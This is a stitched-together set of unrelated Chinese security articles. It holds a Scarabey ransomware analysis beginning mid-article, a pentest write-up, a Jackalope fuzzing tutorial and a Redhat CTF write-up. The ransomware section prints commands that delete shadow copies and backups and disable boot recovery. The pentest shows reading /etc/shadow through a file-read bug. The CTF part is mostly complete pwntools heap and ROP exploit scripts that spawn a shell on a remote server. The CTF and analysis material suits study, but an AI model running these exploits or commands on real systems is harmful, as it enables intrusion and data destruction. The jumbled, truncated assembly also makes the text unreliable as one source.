> “每个解密软件中都包含唯一的密钥，无法使用其他用户的解密器为您的数据解密。”
通过我们的分析，我们认为：恶意软件作者通过诈称“会删除文件”，促使用户快速支付赎金。
## 技术分析
通过比较Scaraby和Scarabey，我们发现Scarabey这一变种明显是使用俄语编写的，并且明显针对俄罗斯用户，但是原作者可能是同一人。从代码上来分析，这两个恶意软件的变种几乎是每个字节都相同。另外，Scarab和Scarabey所生成的子进程，所投放的文件、使用的加密方法和使用的互斥量都是相同的。正是由于上述原因，我们才认为Scarabey是一个变种，而不是一个新的家族。
下图展现了两个恶意软件变种的输出。唯一不通的是代码和内存数据所引用的地址（用黄色和红色标出）。
## 代码分析
Scarabey变种是用Delphi语言编写的。运行后，首先会检查自身是否为第一次运行。具体来说，先会检查是否已经传入了参数。如果没有，则检查是否已经设置了以下注册表项：
SoftwareILRTISoidle
如果没有设置注册表项（意味着是第一次运行），勒索软件接下来会检查SEVNZ是否已经被创建，并使用下面的命令利用命令提示符将自身复制到临时目录下，并命名为sevnz.exe：
cmd.exe /c copy /y C:UsersvirusLabDesktop9a02862ac95345359dfc3dcc93e3c10e.exe “C:UsersvirusLabAppDataRoamingsevnz.exe”
随后，它会在退出的时候，产生一个带有参数“runas”的进程。
至此，将会由子进程进行接管。
代码流现在将进入与以前相同的功能，删除SEVNZ并重新复制它。由于参数的传入，它会跳过最开始的步骤，并运行复制后的sevnz.exe：
C:Users[username]AppDataRoamingsevnz.exe
随后，使用命令行打开cmd.exe进程。
“mshta.exe “javascript:o=new ActiveXObject(‘Scripting.FileSystemObject’);setInterval(function(){try{o.DeleteFile(‘9a02862ac95345359dfc3dcc93e3c10f.exe’);close()}catch(e){}},10);””
之后开始等待将自身删除，原因在于进程不能在运行时被删除。
现在，我们进入到SEVNZ.exe进程：
该进程通过尝试删除”…AppDataRoamingsevnz.exe”，来检查它是否以sevnz.exe运行。
如果失败，它就会知道当前运行的是sevnz.exe，而不是原来的可执行文件。该检查通过后，会使用mtsha.exe来执行JavaScript，将延迟一段时间，并将其自身添加到注册表来自动运行：
mshta.exe “javascript:o=new ActiveXObject(‘WScript.Shell’);
x=newActiveXObject(‘Scripting.FileSystemObject’);
setInterval(function(){try{i=x.GetFile(‘sevnz.exe’).Path;
o.RegWrite(‘HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\ILRTISo’,i);}
catch(e){}},10);
接下来，会删除卷影副本（Shadow Volume Copy），这是绝大多数勒索软件都会执行的一个操作，以确保用户无法恢复被加密的文件。
—–Executes these scripts with mtsha.exe:—–
ActiveXObject(“WScript.Shell”);
o.Run(“cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0”,0);
o.Run(“cmd.exe /c wmic SHADOWCOPY DELETE”,0);
o.Run(“cmd.exe /c vssadmin Delete Shadows /All /Quiet”,0);
o.Run(“cmd.exe /c bcdedit “
new ActiveXObject(“WScript.Shell”);
o.Run(“cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP-keepVersions:0”,0);
o.Run(“cmd.exe /cwmicSHADOWCOPYDELETE”0);
o.Run(“cmd.exevssadminDeleteShadows /All/Quiet”,0);
o.Run(“cmd.exe /c bcdedit /set {default} recoveryenabled No”,0);
o.Run(“cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures”,0);
随后，打开一个始终循环的线程，并确保没有“关键进程”正在运行。如果发现“关键进程”存在，将会关闭这些进程。原因在于，这些进程可能会锁定一些勒索软件本来想要加密的文件。这些“关键进程”是在一个字符串中定义的：
agntsvc.exe
isqlplussvc.exe
ncsvc.exe
msftesql.exe
sqlagent.exe
sqlbrowser.exe
sqlservr.exe
sqlserver.exe
sqlwriter.exe
oracle.exe
ocssd.exe
dbsnmp.exe
synctime.exe;
mydesktopqos.exe
agntsvc.exe
isqlplussvc.exe
xfssvccon.exe
mydesktopservice.exe
ocautoupds.exe
agntsvc.exe
agntsvc.exe
agntsvc.exe
encsvc.exe
firefoxconfig.exe
tbirdconfig.exe
ocomm.exe
mysqld.exe
mysqld-nt.exe
mysqld-opt.exe
dbeng50.exe
sqbcoreservice.exe
在加密函数的主循环中，会在整个代码中进行对互斥量的持续检查，如果它存在，将会作为清除自身并从系统中移除的标志：
互斥量：STOPSCARABSTOPSCARABSTOPSCARABSTOPSCARABSTOPSCARAB。
加密循环可以被代码中的许多部分调用，但最初运行并主要执行加密操作的部分如下：
随后，递归遍历所有文件夹进行检查，确保扩展名不是.exe或.dll。如果检查无误，将会加密文件，并使用.scarab扩展名对其进行重命名。
使用POS()检查当前文件扩展名是否为.exe或.dll：
加密代码不直接使用任何加密API。相反，AES代码嵌入在恶意软件之中，如上图所示。
一些可以调用主加密函数的地方：
## 加密算法
目前，我们已经确定加密算法是AES。在读取实际的文件数据之前，勒索软件首先会将一个4字节的块（0xDEFACE01）添加到缓冲区中。这可能是盐（Salt），也可能是恶意软件作者用于迷惑研究人员所执行的一个操作。它会使用生成的字节来执行一些数据处理操作，可能是创建随机的初始化向量。
在AES加密前的IV 生成器函数：
异或后的数据被传递到IV的MAIN_AES_LOOP_FUNCTION，其中var_8是加密密钥：
恶意软件会继续通过AES_ALGO标记的函数，在数据上执行AES 256加密算法。我们是根据其中的一些特征判断使用的是AES 256加密。
加密使用了16个字符的块，这是非常标准的AES加密，每次会加密文件中的16个字符，即128位。
AES加密算法不同版本之间的区别在于密钥的大小和加密轮（Encryption
Round）次数。在该勒索软件中，使用了AES246标准中的14轮，而没有使用AES128标准中的10个。密钥大小为256位（32个字节或字符）。
密码分组链接模式（Cipher Block
Chaining，CBC）也被使用。在这里，CBC主要是使用之前的密文来加密下一个明文块。换而言之，先前的加密块会被用作下一个数据块的初始化向量。
AES CBC的流程，先使用IV，接下来使用先前的密文作为IV：
在这种情况下，作为初始化步骤，IV中的字节会与待加密原文进行异或操作，以保证有更强的随机性。如下图所示，AES的输出将会被复制到循环开始处所使用的变量中，以在执行AES加密操作之前初始化下一个明文块。在这里，尽管并没有通过加密API调用，但还是清楚地说明了AES的用法。
下图展现了以前的密文被用作IV，其中var_28包含加密的数据：
下面展示了一些算法相关的截图。数据被加载到矩阵中，随后会对硬编码的数据以及加密密钥所在字节执行一系列数据操作。在下图突出显示的是一轮中的一组操作（共进行4组）。其中4组共同构成一轮。为了执行对矩阵的数学运算，需要对矩阵中的每个项目执行操作。如前文所述，共有14轮。
编码的加密密钥保存在注册表的“temp”键中：
如果在注册表中找到该密钥，那么就会继续执行函数，将注册表中的密钥解码为原始加密密钥。否则，会跳转到新的生成函数。
这是勒索软件对文件进行加密的关键所在。其格式类似于支付赎金提示中的密钥，但这一个更长，是保存在注册表中加密版本的用户ID标识。一个转储后键值的示例如下：
[HKEY_CURRENT_USERSoftwareILRTISo]
"temp"="VkIAAAAAAADpt9Q2lAzhCExfqjLoD3vSpluc678N56Zn8b7LVRxMi1ZsYk2HXD1e4s3tiefTmZJAc0vxPposvLzP0yaCh5+KRQm60U0EkzeB2NXetarabUFYgJxb8QRsygKaOqBriC4Bs4ajM24h=e2CsVNP9R3q==UXNmfRFGIsv7NR9BIxE35bdoFpTU8rMGQ14MeQcAii1iY7GpNoY3b4DOgfuKGo3qNC1MYKYdfpn0dbiow3f7ZQGClpwTZ0shFhkWk7aTA7TM1prtgJte7TWe=ERHg8GaFrZtVs9ylNTYPt5CmzHBdAIaXeKZvZnSSafbi83o9gLgAS1OxAb7LBtJpZAJDyBkuyJFR4dFbXztponIBKT1OjtTvTMy07+0B4jI3=K1QGuKSROjAdCF06TsjKWlvUw0iUHRGasz946H3Mnxu3GdCHrAp9Cd94bMo1x1PVdIi3bXSwobjgOlJgJPJC4Y6J4QIE=e45PDNzdK6aCY0uiQ0jOD=8lDWTp=+r+dbGJrJ12qn8CRnBwaFIpyNjDhzdMdTwyvExCmuOesOLms8S7TRoV1GcTyWJAQpSJYcR66H6CngM5GHopdpoTH4mWVOOYp5HFHTDAvMafomF2S6xEmUgXIcKpB7oNohO+Wx0cUmf95=+9uozHMBWE4kFhj+OOKw0I7w7HnwYfafhxsw0CmoOvorZztXk8whlh1d4U26z=aJ6JwH8wVBSszsRLQ+H4y3bRaeupq5Vo+smDfigjVVzCam4HoAdOKzN9MWiigl9Oi+4vTkSFFazc6HzyVaHg8luKGBJMhi2FNHTFO56RA"
在支付赎金提示信息中提供的密钥如下：
+4IAAAAAAADIGnmIHZL=FYRQCAN=AgKnzw+0uzFbXSR5AdFlfTrhWN9sifnho8LiX5=V8SbNVWyWWrdbTLipFEeeEv=9zLmnid8e
UqlqKr2RUN=V7LdjoyNwjWMNbylRiGNAKWK6g9exeHhVfUrZ+9oRTq6Kp5eNe7kDdV7UMPVZ12=5pm9a+5lOMw==TNi2R2tUjFcK
tTD3c9IZgJwOMgcOw3fRrmgaloh5cIV3V74DRy2segx13RDL4J6B+gJnfT2mxIZuBE1G5HcmuLHCoqQif2BamhfbMASCUEpOp7+Z
G0jI=1PTmOhD3Yq4XjJWI4mc61AruRlaYqwPTUUbrsI0zTYX1mmM3Tvyso8bqDy4h5meyPYuXlgtRj06mtdrGZszb6ObsIT4Fz0O
Ag=4HgI4VSHA=HAU5yCjZzIIkLhlWGvdAk
上述密钥用于对加密文件的过程进行改变。这意味着，两个具有相同内容的文件，在被加密后，所得到的加密文件会不相同。存在一个初始密钥，而所有的子密钥都从该密钥派生。如果只有一个加密密钥用于所有的文件，那么我们就可以在加密过程中的任何一个时刻捕获内存，得到密钥，并使用该密钥来对硬盘上所有文件进行解密。但由于Scarab执行了这一关键的循环，我们就无法借助捕获内存的方式来解密文件了。
在磁盘加密过程完成之后，勒索软件会调用一个函数，遍历所有网络文件夹和驱动器，例如：VMWare共享文件夹、终端服务、网络驱动器。一旦找到，它也会对这些文件夹中的文件进行加密。
在上述全部操作都完成之后，它会通过记事本，显示支付赎金的相关提示。
## 传闻
我们看到网上的一些文章指出，Scarabey具有后门的相应功能，允许远程访问被感染主机，并允许在主机上收集敏感数据。根据我们的分析，我们认为上述结论是不正确的。除了加密用户计算机上的文件之外，我们没有发现该勒索软件变种具有任何其他的功能。
此外，还有人指出Scarab是基于GitHub上的开源勒索软件项目HiddenTear产生的。经过分析，这一点也是不正确的，然而这一错误的观点目前已经被广泛流传。
Windows的Malwarebytes可以检测到该威胁及其变种，并将其命名为：Ransom.Scarab。 | 社区文章 |
### 背景:
客户收到钓鱼短信，打开之后发现是一个上传身份证的应用，以下步骤是对该网站的一次测试。
### 起手
先到处点了下，身份证是上传到OSS的，功能比较单一，pass。跑一下子域名看看
#### 搜集信息
上lijiejie的subDomainsBrute，然后跑了几个子域名，发现其中一个子域名比较有意思:
admin1.example.com。打开一看，左边一个大大的 **测试环境** ，是一个登录管理的页面，随手测了弱密码:
admin/admin1234登录成功。
#### 任意文件读取
在后台发现可以编辑上传图片，有一个接口是读取图片的，此处存在任意文件读取漏洞:
先缓一下，用扫描器扫一扫这个IP都运行了什么鬼:
此时有点懵，不知道从那个地方入手读文件，这么多http服务。先读了/root/.bash_history
和/etc/shadow都可以成功，shadow先放着不动，最后日不动再回来看，读完/root/.bash_history就会对这个系统有一个大概的认识。
#### GetShell
寻思了下8888端口跑的是某塔，显示不是安全入口。搜了下，这个面板为了安全把安全入口隐藏了，安全入口的路径是:`/www/server/panel/data/admin_path.pl`,
然后利用任意文件读取漏洞读一下，获取该路径，此时有了登录入口。
从github下载源代码，看了下密码存储是以md5的形势放在SQLite里面:
`/www/server/panel/data/default.db`,读一下然后save to
file保存到本地，用naticat读取数据库，得到登录的账号密码，然后去cmd5查一下，GET。 | 社区文章 |
**作者：0x7F@知道创宇404实验室
日期：2023年4月23日 **
### 0x00 前言
Jackalope 是一款专用于 Windows/macOS 的黑盒 fuzz 开源工具，相比于 WinAFL 他要小众得多；WinAFL 是基于
DynamoRIO 插桩工具实现的，能够处理复杂的插桩需求，而 Jackalope 是基于
TinyInst，是基于调试器原理实现的轻量级动态检测库，Jackalope 更便于用户理解和自定义开发，也有一定的应用场景。
Jackalope 和 WinAFL 实现原理不同，但使用起来基本差不多，了解过 WinAFL 的小伙伴可以很快掌握这个工具；同时
Jackalope/TinyInst/WinAFL 都出自于 `googleprojectzero` 团队。本文主要介绍和演示 Jackalope 的使用。
本文实验环境
windows 10 专业版 x64 1909
Visual Studio 2019
Python 3.10.9
### 0x01 环境配置
首先配置 `Visual Studio` 开发环境，勾选「使用C++的桌面开发」即可： 
随后配置 `Python3` 环境，注意勾选自动添加环境变量：
### 0x02 编译
按照官方提供的指南，我们打开 Visual Studio 命令提示符进行编译：
$ cd C:\Users\john\Desktop\Jackalope
$ git clone --recurse-submodules https://github.com/googleprojectzero/TinyInst.git
$ mkdir build
$ cd build
$ cmake -G "Visual Studio 16 2019" -A x64 ..
$ cmake --build . --config Release
执行如下：
编译成功后，可在 `[src]/build/Release/` 下看到二进制文件 `fuzzer.exe`：
### 0x03 fuzz test
Jackalope 源码中还提供了 `test.cpp` 测试代码，会自动编译生成
`[src]/build/Release/test.exe`，我们使用该二进制文件演示 Jackalope 的使用。
`test.cpp` 源码中提供了 `-f/-m` 两个命令行参数，用于区分直接读取文件加载数据还是使用内存映射的方式加载数据，其核心代码如下：
`void FUZZ_TARGET_MODIFIERS fuzz(char *name)` 被定义为导出函数，其核心逻辑为从文件中读取数据，若数据长度大于
4，且前 4 个字符串等于 `0x74736574` 也就是 `test` 时，手动触发空指针访问的错误。
接下来我们对 `test.exe` 进行 fuzz，构造工作目录，以及提供种子文件 `1.txt` 如下：
$ cd [src]/build/Release/
$ tree
.
├── in
│?? └── 1.txt
├── out
├── fuzzer.exe
└── test.exe
$ cat in/1.txt
1234
使用如下命令进行 fuzz：
# 指定样本输入目录 '-in in'，结果输出目录 '-out out'，超时时间为 '-t 1000'ms
# 指定覆盖率收集模块为 '-instrument_module test.exe'，目标模块为 '-target_module test.exe'，目标函数为 '-target_method fuzz'
# 开启 '-cmp_coverage' 覆盖率比较，可更高效的爆破多字节比较从而发现新路径
$ fuzzer.exe -in in -out out -t 1000 -instrument_module test.exe -target_module test.exe -target_method fuzz -cmp_coverage -- test.exe -f @@
> 详细命令行参数请参考 Jackalope/TinyInst 的 README.md
执行如下：
运行一段时间后我们便收获了 crash，手动 `Ctrl-C` 停止 fuzz，其 `out` 目录结构以及 crash 样本如下：
$ cd [src]/build/Release/
$ tree out
out/
├── crashes
│?? └── access_violation_0000xxxxxxxxx0E0_0000000000000000_1
├── hangs
├── samples
│?? ├── sample_00000
│?? ├── sample_00001
│?? ├── sample_00002
│?? └── sample_00003
├── input_1
└── state.dat
$ cat out/crashes/access_violation_0000xxxxxxxxx0E0_0000000000000000_1
test
> 实际使用 Jackalope 时，要避免将二进制命名为 `test.exe`，因为正常编译 Jackalope 后与 `fuzzer.exe`
> 同目录下有个官方的 `test.exe`，该文件会被优先加载。
### 0x04 持久模式
Jackalope 也和 WinAFL 一样提供了持久模式，也就是启动目标程序一次，重复执行执行目标 fuzz 函数多次，以这种方式减少 fuzz
过程中执行目标程序初始化代码的次数，从而提高 fuzz 效率，在 WinAFL 中使用的参数是 `-fuzz_iterations
100`，Jackalope 使用以下一组参数：
# 指定每轮运行 100 次目标函数
-iterations 100
# 开启持久模式 '-persist -loop'，指定目标函数参数为 1 个 '-nargs 1'
-persist -loop -nargs 1
使用持久模式对 `test.exe` 进行 fuzz：
fuzzer.exe -in in -out out -t 1000 -instrument_module test.exe -target_module test.exe -target_method fuzz -iterations 100 -persist -loop -nargs 1 -cmp_coverage -- test.exe -f @@
对比上文可以看到 fuzz 速度大幅提高：
> 多核CPU的情况下，还可以结合并发模式 `-nthreads [n]` 完全发挥机器性能。
### 0x05 兼容自定义异常处理
在程序开发中使用异常处理是一件很常见的事情，但对于基于调试器原理实现的 Jackalope
则是一个问题，当目标程序被调试器附加时发生了异常，会将异常首先传递给调试器进行处理，这就会导致 Jackalope
无法正确执行：若种子文件触发异常则会被视为无效种子文件，若 fuzz 过程中触发异常则会存入到 crash
结果中，但实际上在目标程序中却是一个功能正常的异常处理。
Jackalope(TinyInst) 提供了对异常的兼容处理，使用 `-patch_return_addresses` 或
`-generate_unwind`(需要 UNWIND_INFO version 2，旧版 Windows 不支持) 参数即可，详情可以参考
https://github.com/googleprojectzero/TinyInst#return-address-patching
我们在 `test.cpp` 中添加自定义异常处理的代码如下：
if (sample_size >= 4) {
......
}
// custom-exception
if (sample_size == 3) {
__try {
throw "THIS IS TEST EXCEPTION";
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("ok, try-except size = 3\n");
}
}
......
重新编译 `test.exe` 后，我们使用 `123` 作为种子文件，启动 fuzz 的同时使用 `-trace_debug_events`
参数以便我们排查 Jackalope 运行过程中的问题，随后可以看到 自定义异常导致一些错误日志 `Debugger: Exception e06d7363
at address ......`：
最终 Jackalope 会报错退出：
[!] WARNING: Process exit during target function
[!] WARNING: Input sample resulted in a hang
[-] PROGRAM ABORT : No interesting input files
Location : Fuzzer::SynchronizeAndGetJob(), C:\Users\john\Desktop\Jackalope\fuzzer.cpp:630
那么添加 `-patch_return_addresses` 参数即可处理以上由自定义异常引发的问题：
# Example
$ fuzzer.exe -in in -out out -instrument_module test.exe -target_module test.exe -target_method fuzz -patch_return_addresses -cmp_coverage -trace_debug_events -- test.exe -f @@
### 0x06 覆盖率
Jackalope 使用 `-dump_coverage` 可以生成覆盖率文件，如下：
$ fuzzer.exe -in in -out out -t 1000 -instrument_module test.exe -target_module test.exe -target_method fuzz -cmp_coverage -dump_coverage -- test.exe -f @@
运行一段时间后，可在 `out` 目录下看到覆盖率文件 `coverage.txt`，使用 IDA 加载 test.exe 文件，并使用
lighthouse 插件加载 `coverage.txt`，可以查看覆盖率情况如下：
### 0x07 样本预处理
在 WinAFL 中我们使用 `afl-fuzz.exe` 进行 fuzz，如果输入文件夹中提供的种子文件存在问题，导致目标程序 crash
时，WinAFL 会停止运行并给予提示；但是 Jackalope 的处理机制不同，即便种子文件导致目标程序
crash，但只要有任一种子文件能够让目标程序正常运行，Jackalope 都会正常运行，并基于正常的种子文件进行变异和 fuzz。
这可能导致我们使用 Jackalope 时无法按照样本种子产生预期的覆盖率，所以在实际进行 fuzz 前，最好对样本种子进行校验，编写如下
powershell 脚本：
Get-ChildItem ".\input\" |
Foreach-Object {
$result = "BAD"
.\test.exe $_.FullName
if ($LASTEXITCODE -eq 0) {
$result = "GOOD"
Copy-Item $_.FullName -Destination ".\good\"
} else {
$result = "BAD"
Copy-Item $_.FullName -Destination ".\bad\"
}
Write-Host $_.FullName $result
}
根据我们编写的目标程序，程序正常运行时的退出码(exit code)为 0，为其他时表示发生异常错误。
除此之外，Jackalope 也提供对语料库最小化的操作，使用 `-dry_run` 参数启动 fuzz，Jackalope
在加载处理完所有的样本文件后直接退出，随后便可以在 `[out]/samples` 目录下看到通过覆盖率筛选后的样本文件，后续 fuzz
便可以用该文件夹的内容作为输入。
### 0x08 References
<https://github.com/googleprojectzero/Jackalope>
<https://github.com/googleprojectzero/TinyInst>
<https://github.com/gaasedelen/lighthouse>
* * * | 社区文章 |
# 红帽杯部分Writeup(PWN,RE,Crypto)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
刚结束不久的红帽杯，我们团队有幸获得了线上赛第四的成绩，对于我们来说，这成绩差强人意，其中密码学相关题目被我们全部拿下！以下是我们团队的部分writeup（pwn,re,Crypto),re的wp超级详细，感谢队里的re师傅orz.
题目复现地址：<https://github.com/moonAgirl/CTF/tree/master/2018/Redhat/>
## Pwn
### Shellcode Manager
绕过前面的一个验证才能进入程序功能，前面就是一个异或，可以通过他的输出得到异或参考串，就可以进入程序内部了；之后fill中存在off-by-null,先通过申请一个大的堆show将足够的异或串收集，之后利用unlink就可以对bss段进行写，再泄露libc,改写atoi就可以了
# coding:utf-8
from pwn import *
debug = 0
context.log_level='debug'
elf = ELF('./pwn3')
#libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
if debug:
p = process('./pwn3')#,env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})
libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x64')
# gdb.attach(p)
else:
p = remote('123.59.138.180', 13579)# 123.59.138.180 13579123.59.138.180 13579
libc = ELF('./libc.so.6.64')
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def add(size):
sleep(0.2)
p.sendline('1')
sleep(0.2)
p.sendline(str(size))
def fill(index,len,data):
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(index))
sleep(0.2)
p.sendline(str(len))
sleep(0.2)
p.send(data)
def show(index):
sleep(0.2)
p.sendline('4')
sleep(0.2)
p.sendline(str(index))
def delete(index):
sleep(0.2)
p.sendline('2')
sleep(0.2)
p.sendline(str(index))
data1=p.recv(4)
data2=p.recv()
pad1="No passcode No funn"
xor=[]
for i in range(len(pad1)):
xor.append(ord(pad1[i])^ord(data2[i]))
print xor
sleep(0.5)
p.sendline('8')
sleep(0.5)
passcode='1Chun0iu'
enc=''
for i in range(len(passcode)):
enc+=chr(ord(passcode[i])^xor[i])
p.send(enc)
add(0x200)#0
add(0x108)#1
add(0x108)#2
add(0x108)#3
data = 'x00'*(0x200 - 1)
fill(0,0x200 - 1,data)
show(0)
p.recvuntil('Note 0n')
key = p.recv(0x180)
print 'key:'+key
payload = ''
payload += 'x00'*(0x100 - 0x10)
payload += p64(0x100) + p64(0x111)
pay = ''
for i in range(0,14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(14*8,2*14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(2*14*8,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
fill(2,0x100,pay)
payload = ''
payload += p64(0) + p64(0x101)
payload += p64(0x602120 + 0x10 - 0x18) + p64(0x602120 + 0x10 - 0x10)
payload += 'x00'*(0x100 - 32)
payload += p64(0x100)
pay = ''
for i in range(0,14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(14*8,2*14*8):
pay+=chr(ord(payload[i])^ord(key[i]))
for i in range(2*14*8,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
fill(1,0x108,pay)
#z()
delete(2)
payload = ''
payload += p64(0) + p64(elf.got['puts'])
pay = ''
for i in range(0,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
#p.interactive()
#fill(1,0x10,pay)
#z()
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(1))
sleep(0.2)
p.sendline(str(0x10+1))
sleep(0.2)
p.send(pay)
#z()
#show(0)
#p.interactive()
sleep(0.2)
p.sendline('4')
sleep(0.2)
p.sendline(str(0))
sleep(0.2)
p.recvuntil('Note 0n')
puts_addr = u64(p.recv(6).ljust(8,'x00'))
print 'puts_addr:'+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print 'system_addr:'+hex(system_addr)
payload = ''
payload += p64(0) + p64(elf.got['atoi']) + p64(0x10)
pay = ''
for i in range(0,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
#p.interactive()
#fill(1,0x10,pay)
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(1))
sleep(0.2)
p.sendline(str(0x18+1))
sleep(0.2)
p.send(pay)
#z()
payload = ''
payload += p64(system_addr)
pay = ''
for i in range(0,len(payload)):
pay+=chr(ord(payload[i])^ord(key[i]))
#p.interactive()
#fill(1,0x10,pay)
sleep(0.2)
p.sendline('3')
sleep(0.2)
p.sendline(str(0))
sleep(0.2)
p.sendline(str(8+1))
sleep(0.2)
p.send(pay)
#z()
sleep(0.2)
p.sendline('/bin/shx00')
p.interactive()
### game server
这个就是一个简单的栈溢出，先输入两个250*‘a’’,之后就可以输入250+ 250 +
70个字符，造成栈溢出，先泄露libc,再直接返回到system即可
# coding:utf-8
#flag{f3b92d795c9ee0725c160680acd084d9}
from pwn import *
debug = 0
#context.log_level='debug'
elf = ELF('./pwn2')
#libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
if debug:
p = process('./pwn2',env={'LD_PRELOAD':'./libc6-i386_2.23-0ubuntu7_amd64.so'})
libc=ELF('./libc6-i386_2.23-0ubuntu7_amd64.so')
# gdb.attach(p)
else:
p = remote('123.59.138.180', 20000)#
#libc = ELF('./libc6-i386_2.23-0ubuntu7_amd64.so')
#libc = ELF('./libc6-i386_2.23-0ubuntu9_amd64.so')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
init_0 = len('Our %s is a noble %s. He is come from north and well change out would.')
length = init_0 + 256*2
success('len:'+hex(length))
p.recvuntil('First, you need to tell me you name?n')
p.sendline('a'*250)
p.recvuntil('What's you occupation?n')
p.sendline('a'*250)
p.recvuntil('Do you want to edit you introduce by yourself?[Y/N]n')
p.sendline('Y')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = ''
payload += 'a'*0x111
payload += 'b'*4
payload += p32(puts_plt)
payload += p32(0x08048637)
payload += p32(puts_got)
p.sendline(payload)
payload1 = ''
payload1 += p32(puts_plt)
payload1 += p32(0x08048637)
payload1 += p32(puts_got)
p.recvuntil(payload1+'nn')
data = u32(p.recv(4))
success('puts_addr:'+hex(data))
libc_base = data - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
one_gadgets = [0x45216,0x4526a,0xf0274,0xf1117]
success('system_addr:'+hex(system_addr))
success('binsh_addr:'+hex(binsh_addr))
gadget = libc_base + one_gadgets[3]
p.recvuntil('First, you need to tell me you name?n')
p.sendline('a'*250)
p.recvuntil('What's you occupation?n')
p.sendline('a'*250)
p.recvuntil('Do you want to edit you introduce by yourself?[Y/N]n')
p.sendline('Y')
payload = ''
payload += 'a'*0x111
payload += 'b'*4
payload += p32(system_addr)
payload += p32(system_addr)
payload += p32(binsh_addr)
p.sendline(payload)
p.sendline('lsn')
p.interactive()
## RE
### Wcm
和第一题考的内容一样，都是对称密码，但是第一题没做出来。。心塞。
Ida载入之后，首先判断长度是不是42，是的话继续。
然后进行填充，即填0XFF，直到长度是16的倍数停止。然后调用2个函数。
第一个函数，主要功能是初始化一个table，这个table由伪随机数生成，所以每次都是一样的，没必要关注实现的细节，得到那个表就可以了。
下面进入第二个函数，很明显的对称加密算法，首先byte2dword，然后轮密钥加，然后进入sbox，最后再异或，32轮之后再dword2byte，产生最后的16bit密文。
最后将得到的密文和给定的cipher比较，方式是异或。
那么接下来开始逆向，首先获取最后一轮输出的iv。直接和cipher异或就行了。
然后分析整个加密过程，实现机制和CBC模式很像，下一个DWORD的输出和前三个DWORD有关，这样不需要求sbox_inv，而异或表正好是32dword大小，倒过来的话每次异或的就是32-i，其他部分，包括最开始的byte2dword和最后的dword2byte不影响decode的实现，ROL和ROR函数也只是对输入进行移位，同样不影响。下面给出脚本。
首先是sbox的值。直接就能拿到，不需要求逆。
然后是分组亦或表，直接跟踪第一个函数实现然后dump下来就行了。
Decode函数实现：
最后将48位的cipher分段，16个一组，3次解密，得到flag。
运行结果：
我这里直接输出的是hex值，然后转成ascii就是flag了。
得到flag。
### CCM
这题也不算太难吧，上来有个壳，nsp壳的话，直接根据esp定理脱了，然后根据push大小和CRT的规则，定位到main函数。
首先输入，然后判断长度是不是42（不得不说3个题长度都一样），然后进入sub_401380函数。进来之后，首先有个判断。
即前面5个值是和给出的值进行异或得到的，也要求了中间4个值是-，以及最后一位是}。
直接对那5个值进行异或就能得到前五位的flag{。
接下来根据伪随机数产生一张表，具体的值就直接dump了。
然后进行ascii2hex操作，长度扩大一倍。
还需要注意，main中有3处反调试，直接patch掉就行了。
再往下走，会根据hex的值进行查表替换。简单的说，如果原来是数字就进入if，查GHIJKLMNOPQRSTUV，如果不是则进入另一个大表查询。
具体的表值如下。
根据这个表值，进入sub_4010E0函数，再去查一个大表。
很像维吉尼亚密码表。不用管了，直接用就可以了，因为我也是dump的。
再往下走，会遇到一个很长的表达式。包含5个变量。就是对输入处理后的其中5位，然后进入方程，判断是否满足。
最后将处理的部分和cipher比较，方式也是异或。
然后开始逆向。首先根据cipher获取处理后的部分。
得到，很明显，有5位是假的，即出题人故意选择了这样的值，否则那5个变量的方程就没有意义了。
但其实可以发现，因为已经约束了前五位的值，所以第一个不可见字符是可以求出来的。但是这里要先分析前面两个转换的步骤。
第一个部分其实不难理解，就是查下标，因为输入的是数字，直接爆破也可以。
第二个部分是比较烦的。
sub_4010E0这个函数，首先对输入的参数进行比较，分大小写，应该是出题人用来混淆的，其实之前那个表里面得到的都是小写字母，不存在大写字母，所以这里分2类，每类里面2个while循环的算法等价于分一类，其中大写的那部分是不会进去的。
然后看下2个while循环的功能。实际上就是查表了，我也是调试的时候发现的，就是查那个27*27的表，首先是查输入的在第几个，然后对输入进行第二次查表，即对
Sxcunsbjptdunaaxklcvxsikxiewcmpwdngfqtfvomgkbwjrmccntqlratukzoafmngbyykjtabnhrnmweln表进行查找，查找的下标是总出现的次数。
关于次数这个是外面决定的。即出现了几次非数字的次数。
那么到这里的话，我们就可以分析出5个变量中的第一个是什么了，由于前五位flag{是确定的，你们第一个变量的位置就应该是g所对应的hex，而g的ascii是0x67，都是数字，我们只需要模拟第一个部分，即查GHIJKLMNOPQRSTUV，所以是MN。得到第一个变量是N的ascii码值。
然后就不多说了，直接爆破吧。
首先获取那个表，直接用idapython，手抠太烦了。
如下图。
然后爆破就好了。
爆破结果如下：
然后我们就得到了整个cipher。
